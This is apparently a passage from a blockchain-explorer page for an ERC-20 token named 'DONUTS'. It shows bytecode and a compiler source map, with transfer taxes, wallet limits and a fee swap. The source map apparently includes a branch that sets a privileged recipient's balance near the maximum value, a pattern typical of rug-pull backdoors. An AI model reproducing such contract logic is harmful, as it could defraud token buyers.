116145b8015610af25750600d54600160b81b900460ff165b8015610aff5750600a5481115b8015610b1f575060075460ff600160b01b82048116600160c01b90920416115b15610b5357610b41610b3c84610b3784600b54610ed1565b610ed1565b610ee5565b478015610b5157610b5147611055565b505b505b6001600160a01b0384165f9081526005602052604090205460ff168015610b855750600d54600160a01b900460ff165b8015610ba857506001600160a01b0383165f9081526004602052604090205460ff165b15610bbb57600d805460ff60a01b191690555b8015610c3357305f90815260016020526040902054610bda9082611090565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c2a9085815260200190565b60405180910390a35b5f82118015610c7d57506001600160a01b0384165f9081526005602052604090205460ff168015610c7b57506001600160a01b0383165f9081526004602052604090205460ff165b155b15610d04576001600160a01b0384165f90815260016020526040902054610ca490836110ee565b6001600160a01b0385165f90815260016020526040902055610ce7610cc983836110ee565b6001600160a01b0385165f9081526001602052604090205490611090565b6001600160a01b0384165f90815260016020526040902055610d83565b8115610d83576001600160a01b0384165f90815260016020526040902054610d2c90836110ee565b6001600160a01b038086165f908152600160205260408082209390935590851681522054610d6a90610cc990610d629084611090565b5f19906110ee565b6001600160a01b0384165f908152600160205260409020555b6001600160a01b038084169085167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610dbc85856110ee565b60405190815260200160405180910390a350505050565b5f8184841115610df65760405162461bcd60e51b8152600401610408919061115b565b505f610e0284866113e4565b95945050505050565b5f825f03610e1a57505f610325565b5f610e258385611379565b905082610e3285836113f7565b14610e895760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610408565b9392505050565b5f610e8983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061112f565b5f818311610edf5782610e89565b50919050565b600d805460ff60b01b1916600160b01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610f2b57610f2b611416565b6001600160a01b03928316602091820292909201810191909152600c54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610f82573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610fa6919061142a565b81600181518110610fb957610fb9611416565b6001600160a01b039283166020918202929092010152600c54610fdf9130911684610465565b600c5460405163791ac94760e01b81526001600160a01b039091169063791ac947906110179085905f90869030904290600401611445565b5f604051808303815f87803b15801561102e575f80fd5b505af1158015611040573d5f803e3d5ffd5b5050600d805460ff60b01b1916905550505050565b6007546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561108c573d5f803e3d5ffd5b5050565b5f8061109c8385611390565b905083811015610e895760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610408565b5f610e8983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610dd3565b5f818361114f5760405162461bcd60e51b8152600401610408919061115b565b505f610e0284866113f7565b5f6020808352835180828501525f5b818110156111865785810183015185820160400152820161116a565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146111ba575f80fd5b50565b5f80604083850312156111ce575f80fd5b82356111d9816111a6565b946020939093013593505050565b5f805f606084860312156111f9575f80fd5b8335611204816111a6565b92506020840135611214816111a6565b929592945050506040919091013590565b5f60208284031215611235575f80fd5b8135610e89816111a6565b5f8060408385031215611251575f80fd5b823561125c816111a6565b9150602083013561126c816111a6565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156112c557815f19048211156112ab576112ab611277565b808516156112b857918102915b93841c9390800290611290565b509250929050565b5f826112db57506001610325565b816112e757505f610325565b81600181146112fd576002811461130757611323565b6001915050610325565b60ff84111561131857611318611277565b50506001821b610325565b5060208310610133831016604e8410600b8410161715611346575081810a610325565b611350838361128b565b805f190482111561136357611363611277565b029392505050565b5f610e8960ff8416836112cd565b808202811582820484141761032557610325611277565b8082018082111561032557610325611277565b5f60ff821660ff81036113b8576113b8611277565b60010192915050565b60ff81811683821602908116908181146113dd576113dd611277565b5092915050565b8181038181111561032557610325611277565b5f8261141157634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f6020828403121561143a575f80fd5b8151610e89816111a6565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156114935784516001600160a01b03168352938301939183019160010161146e565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122027a37d3b8a69c5d93547e1c4414994edc9bbeb0b78eb56c57f391f3ed96f741064736f6c63430008150033

Deployed Bytecode

0x6080604052600436106100e7575f3560e01c8063715018a61161008757806395d89b411161005757806395d89b411461026b578063a9059cbb1461029d578063bf474bed146102bc578063dd62ed3e146102d1575f80fd5b8063715018a6146102055780637d1db4a51461021b5780638da5cb5b146102305780638f9a55c014610256575f80fd5b806318160ddd116100c257806318160ddd1461018357806323b872dd14610197578063313ce567146101b657806370a08231146101d1575f80fd5b806306fdde03146100f2578063095ea7b3146101315780630faee56f14610160575f80fd5b366100ee57005b5f80fd5b3480156100fd575f80fd5b506040805180820190915260058152641113d3955560da1b60208201525b604051610128919061115b565b60405180910390f35b34801561013c575f80fd5b5061015061014b3660046111bd565b610315565b6040519015158152602001610128565b34801561016b575f80fd5b50610175600b5481565b604051908152602001610128565b34801561018e575f80fd5b5061017561032b565b3480156101a2575f80fd5b506101506101b13660046111e7565b61034c565b3480156101c1575f80fd5b5060405160098152602001610128565b3480156101dc575f80fd5b506101756101eb366004611225565b6001600160a01b03165f9081526001602052604090205490565b348015610210575f80fd5b506102196103b3565b005b348015610226575f80fd5b5061017560085481565b34801561023b575f80fd5b505f546040516001600160a01b039091168152602001610128565b348015610261575f80fd5b5061017560095481565b348015610276575f80fd5b5060408051808201909152600a815269444f4e555453f09f8da960b01b602082015261011b565b3480156102a8575f80fd5b506101506102b73660046111bd565b610459565b3480156102c7575f80fd5b50610175600a5481565b3480156102dc575f80fd5b506101756102eb366004611240565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f610321338484610465565b5060015b92915050565b5f6103386009600a61136b565b6103479064e8d4a51000611379565b905090565b5f610358848484610588565b6103a984336103a4856040518060600160405280602881526020016114b5602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610dd3565b610465565b5060019392505050565b5f546001600160a01b031633146104115760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f610321338484610588565b6001600160a01b0383166104c75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610408565b6001600160a01b0382166105285760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610408565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166105ec5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610408565b6001600160a01b03821661064e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610408565b5f81116106af5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610408565b5f80546001600160a01b038581169116148015906106da57505f546001600160a01b03848116911614155b15610b5557600d546001600160a01b03858116911614801561071457506001600160a01b0383165f9081526003602052604090205460ff16155b801561073857506001600160a01b0384165f9081526003602052604090205460ff16155b15610765576007546107629060649061075c908590600160a01b900460ff16610e0b565b90610e90565b90505b600d546001600160a01b0385811691161480156107905750600c546001600160a01b03848116911614155b80156107b457506001600160a01b0383165f9081526003602052604090205460ff16155b156108b95760085482111561080b5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610408565b6009548261082d856001600160a01b03165f9081526001602052604090205490565b6108379190611390565b11156108855760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610408565b60078054600160c01b900460ff1690601861089f836113a3565b91906101000a81548160ff021916908360ff160217905550505b600d546001600160a01b038481169116148015906108ef57506001600160a01b0383165f9081526003602052604090205460ff16155b1561096e5760095482610916856001600160a01b03165f9081526001602052604090205490565b6109209190611390565b111561096e5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610408565b600d546001600160a01b03848116911614801561099457506001600160a01b0384163014155b80156109b857506001600160a01b0383165f9081526003602052604090205460ff16155b80156109dc57506001600160a01b0384165f9081526003602052604090205460ff16155b15610a0357600754610a009060649061075c908590600160a81b900460ff16610e0b565b90505b6001600160a01b0383165f9081526003602052604090205460ff16158015610a4357506001600160a01b0384165f9081526003602052604090205460ff16155b8015610a595750600d54600160a01b900460ff16155b8015610a725750600d546001600160a01b038481169116145b15610aa757600754610aa49060649061075c90610a9a90600160b81b900460ff1660056113c1565b859060ff16610e0b565b90505b305f90815260016020526040902054600d54600160b01b900460ff16158015610add5750600d546001600160a01b038581169116145b8015610af25750600d54600160b81b900460ff165b8015610aff5750600a5481115b8015610b1f575060075460ff600160b01b82048116600160c01b90920416115b15610b5357610b41610b3c84610b3784600b54610ed1565b610ed1565b610ee5565b478015610b5157610b5147611055565b505b505b6001600160a01b0384165f9081526005602052604090205460ff168015610b855750600d54600160a01b900460ff165b8015610ba857506001600160a01b0383165f9081526004602052604090205460ff165b15610bbb57600d805460ff60a01b191690555b8015610c3357305f90815260016020526040902054610bda9082611090565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c2a9085815260200190565b60405180910390a35b5f82118015610c7d57506001600160a01b0384165f9081526005602052604090205460ff168015610c7b57506001600160a01b0383165f9081526004602052604090205460ff165b155b15610d04576001600160a01b0384165f90815260016020526040902054610ca490836110ee565b6001600160a01b0385165f90815260016020526040902055610ce7610cc983836110ee565b6001600160a01b0385165f9081526001602052604090205490611090565b6001600160a01b0384165f90815260016020526040902055610d83565b8115610d83576001600160a01b0384165f90815260016020526040902054610d2c90836110ee565b6001600160a01b038086165f908152600160205260408082209390935590851681522054610d6a90610cc990610d629084611090565b5f19906110ee565b6001600160a01b0384165f908152600160205260409020555b6001600160a01b038084169085167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610dbc85856110ee565b60405190815260200160405180910390a350505050565b5f8184841115610df65760405162461bcd60e51b8152600401610408919061115b565b505f610e0284866113e4565b95945050505050565b5f825f03610e1a57505f610325565b5f610e258385611379565b905082610e3285836113f7565b14610e895760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610408565b9392505050565b5f610e8983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061112f565b5f818311610edf5782610e89565b50919050565b600d805460ff60b01b1916600160b01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610f2b57610f2b611416565b6001600160a01b03928316602091820292909201810191909152600c54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610f82573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610fa6919061142a565b81600181518110610fb957610fb9611416565b6001600160a01b039283166020918202929092010152600c54610fdf9130911684610465565b600c5460405163791ac94760e01b81526001600160a01b039091169063791ac947906110179085905f90869030904290600401611445565b5f604051808303815f87803b15801561102e575f80fd5b505af1158015611040573d5f803e3d5ffd5b5050600d805460ff60b01b1916905550505050565b6007546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561108c573d5f803e3d5ffd5b5050565b5f8061109c8385611390565b905083811015610e895760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610408565b5f610e8983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610dd3565b5f818361114f5760405162461bcd60e51b8152600401610408919061115b565b505f610e0284866113f7565b5f6020808352835180828501525f5b818110156111865785810183015185820160400152820161116a565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146111ba575f80fd5b50565b5f80604083850312156111ce575f80fd5b82356111d9816111a6565b946020939093013593505050565b5f805f606084860312156111f9575f80fd5b8335611204816111a6565b92506020840135611214816111a6565b929592945050506040919091013590565b5f60208284031215611235575f80fd5b8135610e89816111a6565b5f8060408385031215611251575f80fd5b823561125c816111a6565b9150602083013561126c816111a6565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156112c557815f19048211156112ab576112ab611277565b808516156112b857918102915b93841c9390800290611290565b509250929050565b5f826112db57506001610325565b816112e757505f610325565b81600181146112fd576002811461130757611323565b6001915050610325565b60ff84111561131857611318611277565b50506001821b610325565b5060208310610133831016604e8410600b8410161715611346575081810a610325565b611350838361128b565b805f190482111561136357611363611277565b029392505050565b5f610e8960ff8416836112cd565b808202811582820484141761032557610325611277565b8082018082111561032557610325611277565b5f60ff821660ff81036113b8576113b8611277565b60010192915050565b60ff81811683821602908116908181146113dd576113dd611277565b5092915050565b8181038181111561032557610325611277565b5f8261141157634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f6020828403121561143a575f80fd5b8151610e89816111a6565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156114935784516001600160a01b03168352938301939183019160010161146e565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122027a37d3b8a69c5d93547e1c4414994edc9bbeb0b78eb56c57f391f3ed96f741064736f6c63430008150033

Deployed Bytecode Sourcemap

8439:7480:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10700:83;;;;;;;;;;-1:-1:-1;10770:5:0;;;;;;;;;;;;-1:-1:-1;;;10770:5:0;;;;10700:83;;;;;;;:::i;:::-;;;;;;;;11533:161;;;;;;;;;;-1:-1:-1;11533:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;11533:161:0;1023:187:1;9589:56:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;9589:56:0;1215:177:1;10977:95:0;;;;;;;;;;;;;:::i;11702:313::-;;;;;;;;;;-1:-1:-1;11702:313:0;;;;;:::i;:::-;;:::i;10886:83::-;;;;;;;;;;-1:-1:-1;10886:83:0;;9194:1;2000:36:1;;1988:2;1973:18;10886:83:0;1858:184:1;11080:119:0;;;;;;;;;;-1:-1:-1;11080:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;11173:18:0;11146:7;11173:18;;;:9;:18;;;;;;;11080:119;7520:148;;;;;;;;;;;;;:::i;:::-;;9386:60;;;;;;;;;;;;;;;;7306:79;;;;;;;;;;-1:-1:-1;7344:7:0;7371:6;7306:79;;-1:-1:-1;;;;;7371:6:0;;;2445:51:1;;2433:2;2418:18;7306:79:0;2299:203:1;9453:60:0;;;;;;;;;;;;;;;;10791:87;;;;;;;;;;-1:-1:-1;10863:7:0;;;;;;;;;;;;-1:-1:-1;;;10863:7:0;;;;10791:87;;11207:167;;;;;;;;;;-1:-1:-1;11207:167:0;;;;;:::i;:::-;;:::i;9520:62::-;;;;;;;;;;;;;;;;11382:143;;;;;;;;;;-1:-1:-1;11382:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;11490:18:0;;;11463:7;11490:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;11382:143;11533:161;11608:4;11625:39;300:10;11648:7;11657:6;11625:8;:39::i;:::-;-1:-1:-1;11682:4:0;11533:161;;;;;:::o;10977:95::-;11030:7;9253:13;9194:1;9253:2;:13;:::i;:::-;9237:29;;:13;:29;:::i;:::-;11050:14;;10977:95;:::o;11702:313::-;11800:4;11817:36;11827:6;11835:9;11846:6;11817:9;:36::i;:::-;11864:121;11873:6;300:10;11895:89;11933:6;11895:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;11895:19:0;;;;;;:11;:19;;;;;;;;300:10;11895:33;;;;;;;;;;:37;:89::i;:::-;11864:8;:121::i;:::-;-1:-1:-1;12003:4:0;11702:313;;;;;:::o;7520:148::-;7433:6;;-1:-1:-1;;;;;7433:6:0;300:10;7433:22;7425:67;;;;-1:-1:-1;;;7425:67:0;;4790:2:1;7425:67:0;;;4772:21:1;;;4809:18;;;4802:30;4868:34;4848:18;;;4841:62;4920:18;;7425:67:0;;;;;;;;;7627:1:::1;7611:6:::0;;7590:40:::1;::::0;-1:-1:-1;;;;;7611:6:0;;::::1;::::0;7590:40:::1;::::0;7627:1;;7590:40:::1;7658:1;7641:19:::0;;-1:-1:-1;;;;;;7641:19:0::1;::::0;;7520:148::o;11207:167::-;11285:4;11302:42;300:10;11326:9;11337:6;11302:9;:42::i;12023:335::-;-1:-1:-1;;;;;12116:19:0;;12108:68;;;;-1:-1:-1;;;12108:68:0;;5151:2:1;12108:68:0;;;5133:21:1;5190:2;5170:18;;;5163:30;5229:34;5209:18;;;5202:62;-1:-1:-1;;;5280:18:1;;;5273:34;5324:19;;12108:68:0;4949:400:1;12108:68:0;-1:-1:-1;;;;;12195:21:0;;12187:68;;;;-1:-1:-1;;;12187:68:0;;5556:2:1;12187:68:0;;;5538:21:1;5595:2;5575:18;;;5568:30;5634:34;5614:18;;;5607:62;-1:-1:-1;;;5685:18:1;;;5678:32;5727:19;;12187:68:0;5354:398:1;12187:68:0;-1:-1:-1;;;;;12266:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;12318:32;;1361:25:1;;;12318:32:0;;1334:18:1;12318:32:0;;;;;;;12023:335;;;:::o;12366:2805::-;-1:-1:-1;;;;;12454:18:0;;12446:68;;;;-1:-1:-1;;;12446:68:0;;5959:2:1;12446:68:0;;;5941:21:1;5998:2;5978:18;;;5971:30;6037:34;6017:18;;;6010:62;-1:-1:-1;;;6088:18:1;;;6081:35;6133:19;;12446:68:0;5757:401:1;12446:68:0;-1:-1:-1;;;;;12533:16:0;;12525:64;;;;-1:-1:-1;;;12525:64:0;;6365:2:1;12525:64:0;;;6347:21:1;6404:2;6384:18;;;6377:30;6443:34;6423:18;;;6416:62;-1:-1:-1;;;6494:18:1;;;6487:33;6537:19;;12525:64:0;6163:399:1;12525:64:0;12617:1;12608:6;:10;12600:64;;;;-1:-1:-1;;;12600:64:0;;6769:2:1;12600:64:0;;;6751:21:1;6808:2;6788:18;;;6781:30;6847:34;6827:18;;;6820:62;-1:-1:-1;;;6898:18:1;;;6891:39;6947:19;;12600:64:0;6567:405:1;12600:64:0;12677:17;7371:6;;-1:-1:-1;;;;;12713:15:0;;;7371:6;;12713:15;;;;:32;;-1:-1:-1;7344:7:0;7371:6;-1:-1:-1;;;;;12732:13:0;;;7371:6;;12732:13;;12713:32;12709:1671;;;12787:13;;-1:-1:-1;;;;;12779:21:0;;;12787:13;;12779:21;:48;;;;-1:-1:-1;;;;;;12805:22:0;;;;;;:18;:22;;;;;;;;12804:23;12779:48;:78;;;;-1:-1:-1;;;;;;12833:24:0;;;;;;:18;:24;;;;;;;;12831:26;12779:78;12776:157;;;12900:7;;12889:28;;12913:3;;12889:19;;:6;;-1:-1:-1;;;12900:7:0;;;;12889:10;:19::i;:::-;:23;;:28::i;:::-;12877:40;;12776:157;12973:13;;-1:-1:-1;;;;;12965:21:0;;;12973:13;;12965:21;:55;;;;-1:-1:-1;13004:15:0;;-1:-1:-1;;;;;12990:30:0;;;13004:15;;12990:30;;12965:55;:83;;;;-1:-1:-1;;;;;;13026:22:0;;;;;;:18;:22;;;;;;;;13024:24;12965:83;12961:313;;;13088:12;;13078:6;:22;;13070:60;;;;-1:-1:-1;;;13070:60:0;;7179:2:1;13070:60:0;;;7161:21:1;7218:2;7198:18;;;7191:30;7257:27;7237:18;;;7230:55;7302:18;;13070:60:0;6977:349:1;13070:60:0;13183:14;;13173:6;13157:13;13167:2;-1:-1:-1;;;;;11173:18:0;11146:7;11173:18;;;:9;:18;;;;;;;11080:119;13157:13;:22;;;;:::i;:::-;:40;;13149:79;;;;-1:-1:-1;;;13149:79:0;;7663:2:1;13149:79:0;;;7645:21:1;7702:2;7682:18;;;7675:30;7741:28;7721:18;;;7714:56;7787:18;;13149:79:0;7461:350:1;13149:79:0;13247:9;:11;;-1:-1:-1;;;13247:11:0;;;;;:9;:11;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;12961:313;13300:13;;-1:-1:-1;;;;;13294:19:0;;;13300:13;;13294:19;;;;:47;;-1:-1:-1;;;;;;13319:22:0;;;;;;:18;:22;;;;;;;;13317:24;13294:47;13290:167;;;13396:14;;13386:6;13370:13;13380:2;-1:-1:-1;;;;;11173:18:0;11146:7;11173:18;;;:9;:18;;;;;;;11080:119;13370:13;:22;;;;:::i;:::-;:40;;13362:79;;;;-1:-1:-1;;;13362:79:0;;7663:2:1;13362:79:0;;;7645:21:1;7702:2;7682:18;;;7675:30;7741:28;7721:18;;;7714:56;7787:18;;13362:79:0;7461:350:1;13362:79:0;13482:13;;-1:-1:-1;;;;;13476:19:0;;;13482:13;;13476:19;:43;;;;-1:-1:-1;;;;;;13499:20:0;;13514:4;13499:20;;13476:43;:70;;;;-1:-1:-1;;;;;;13524:22:0;;;;;;:18;:22;;;;;;;;13523:23;13476:70;:100;;;;-1:-1:-1;;;;;;13552:24:0;;;;;;:18;:24;;;;;;;;13550:26;13476:100;13473:180;;;13619:8;;13608:29;;13633:3;;13608:20;;:6;;-1:-1:-1;;;13619:8:0;;;;13608:10;:20::i;:29::-;13596:41;;13473:180;-1:-1:-1;;;;;13673:22:0;;;;;;:18;:22;;;;;;;;13672:23;:53;;;;-1:-1:-1;;;;;;13701:24:0;;;;;;:18;:24;;;;;;;;13699:26;13672:53;:74;;;;-1:-1:-1;13730:16:0;;-1:-1:-1;;;13730:16:0;;;;13729:17;13672:74;:97;;;;-1:-1:-1;13756:13:0;;-1:-1:-1;;;;;13750:19:0;;;13756:13;;13750:19;13672:97;13669:188;;;13812:17;;13801:40;;13837:3;;13801:31;;13812:19;;-1:-1:-1;;;13812:17:0;;;;13830:1;13812:19;:::i;:::-;13801:6;;:31;;:10;:31::i;:40::-;13789:52;;13669:188;13922:4;13873:28;11173:18;;;:9;:18;;;;;;13948:6;;-1:-1:-1;;;13948:6:0;;;;13947:7;:30;;;;-1:-1:-1;13964:13:0;;-1:-1:-1;;;;;13958:19:0;;;13964:13;;13958:19;13947:30;:45;;;;-1:-1:-1;13981:11:0;;-1:-1:-1;;;13981:11:0;;;;13947:45;:87;;;;;14017:17;;13996:20;:38;13947:87;:119;;;;-1:-1:-1;14048:18:0;;;-1:-1:-1;;;14048:18:0;;;;-1:-1:-1;;;14038:9:0;;;;:28;13947:119;13943:426;;;14087:67;14104:49;14108:6;14115:37;14119:20;14140:11;;14115:3;:37::i;:::-;14104:3;:49::i;:::-;14087:16;:67::i;:::-;14202:21;14245:22;;14242:112;;14292:42;14312:21;14292:19;:42::i;:::-;14068:301;13943:426;12747:1633;12709:1671;-1:-1:-1;;;;;14393:17:0;;;;;;:11;:17;;;;;;;;:37;;;;-1:-1:-1;14414:16:0;;-1:-1:-1;;;14414:16:0;;;;14393:37;:69;;;;-1:-1:-1;;;;;;14434:28:0;;;;;;:24;:28;;;;;;;;14393:69;14390:110;;;14465:16;:32;;-1:-1:-1;;;;14465:32:0;;;14390:110;14523:13;;14520:163;;14593:4;14575:24;;;;:9;:24;;;;;;:39;;14604:9;14575:28;:39::i;:::-;14568:4;14550:24;;;;:9;:24;;;;;;;:64;;;;14632:39;;-1:-1:-1;;;;;14632:39:0;;;;;;;14661:9;1361:25:1;;1349:2;1334:18;;1215:177;14632:39:0;;;;;;;;14520:163;14707:1;14698:6;:10;:66;;;;-1:-1:-1;;;;;;14714:17:0;;;;;;:11;:17;;;;;;;;:49;;;;-1:-1:-1;;;;;;14735:28:0;;;;;;:24;:28;;;;;;;;14714:49;14712:52;14698:66;14695:412;;;-1:-1:-1;;;;;14799:15:0;;;;;;:9;:15;;;;;;:27;;14819:6;14799:19;:27::i;:::-;-1:-1:-1;;;;;14781:15:0;;;;;;:9;:15;;;;;:45;14855:40;14873:21;:6;14884:9;14873:10;:21::i;:::-;-1:-1:-1;;;;;14855:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;14841:13:0;;;;;;:9;:13;;;;;:54;14695:412;;;14925:10;;14922:185;;-1:-1:-1;;;;;14969:15:0;;;;;;:9;:15;;;;;;:27;;14989:6;14969:19;:27::i;:::-;-1:-1:-1;;;;;14951:15:0;;;;;;;:9;:15;;;;;;:45;;;;15065:13;;;;;;;15025:70;;15043:51;;15065:28;;15083:9;15065:17;:28::i;:::-;-1:-1:-1;;15043:17:0;:21;:51::i;15025:70::-;-1:-1:-1;;;;;15011:13:0;;;;;;:9;:13;;;;;:84;14922:185;-1:-1:-1;;;;;15122:41:0;;;;;;;15141:21;:6;15152:9;15141:10;:21::i;:::-;15122:41;;1361:25:1;;;1349:2;1334:18;15122:41:0;;;;;;;12435:2736;12366:2805;;;:::o;6198:190::-;6284:7;6320:12;6312:6;;;;6304:29;;;;-1:-1:-1;;;6304:29:0;;;;;;;;:::i;:::-;-1:-1:-1;6344:9:0;6356:5;6360:1;6356;:5;:::i;:::-;6344:17;6198:190;-1:-1:-1;;;;;6198:190:0:o;6396:246::-;6454:7;6478:1;6483;6478:6;6474:47;;-1:-1:-1;6508:1:0;6501:8;;6474:47;6531:9;6543:5;6547:1;6543;:5;:::i;:::-;6531:17;-1:-1:-1;6576:1:0;6567:5;6571:1;6531:17;6567:5;:::i;:::-;:10;6559:56;;;;-1:-1:-1;;;6559:56:0;;8783:2:1;6559:56:0;;;8765:21:1;8822:2;8802:18;;;8795:30;8861:34;8841:18;;;8834:62;-1:-1:-1;;;8912:18:1;;;8905:31;8953:19;;6559:56:0;8581:397:1;6559:56:0;6633:1;6396:246;-1:-1:-1;;;6396:246:0:o;6650:132::-;6708:7;6735:39;6739:1;6742;6735:39;;;;;;;;;;;;;;;;;:3;:39::i;15179:98::-;15236:7;15263:1;15261;:3;15260:9;;15268:1;15260:9;;;-1:-1:-1;15266:1:0;15179:98;-1:-1:-1;15179:98:0:o;15287:483::-;9932:6;:13;;-1:-1:-1;;;;9932:13:0;-1:-1:-1;;;9932:13:0;;;15389:16:::1;::::0;;15403:1:::1;15389:16:::0;;;;;::::1;::::0;;-1:-1:-1;;15389:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;15389:16:0::1;15365:40;;15434:4;15416;15421:1;15416:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;15416:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;15460:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;15460:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;15416:7;;15460:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;15450:4;15455:1;15450:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;15450:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;15525:15:::1;::::0;15493:62:::1;::::0;15510:4:::1;::::0;15525:15:::1;15543:11:::0;15493:8:::1;:62::i;:::-;15566:15;::::0;:196:::1;::::0;-1:-1:-1;;;15566:196:0;;-1:-1:-1;;;;;15566:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;15647:11;;15566:15:::1;::::0;15689:4;;15716::::1;::::0;15736:15:::1;::::0;15566:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;9968:6:0;:14;;-1:-1:-1;;;;9968:14:0;;;-1:-1:-1;;;;15287:483:0:o;15778:99::-;15842:10;;:27;;-1:-1:-1;;;;;15842:10:0;;;;:27;;;;;15862:6;;15842:10;:27;:10;:27;15862:6;15842:10;:27;;;;;;;;;;;;;;;;;;;;;15778:99;:::o;5867:179::-;5925:7;;5957:5;5961:1;5957;:5;:::i;:::-;5945:17;;5986:1;5981;:6;;5973:46;;;;-1:-1:-1;;;5973:46:0;;10690:2:1;5973:46:0;;;10672:21:1;10729:2;10709:18;;;10702:30;10768:29;10748:18;;;10741:57;10815:18;;5973:46:0;10488:351:1;6054:136:0;6112:7;6139:43;6143:1;6146;6139:43;;;;;;;;;;;;;;;;;:3;:43::i;6790:189::-;6876:7;6911:12;6904:5;6896:28;;;;-1:-1:-1;;;6896:28:0;;;;;;;;:::i;:::-;-1:-1:-1;6935:9:0;6947:5;6951:1;6947;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308: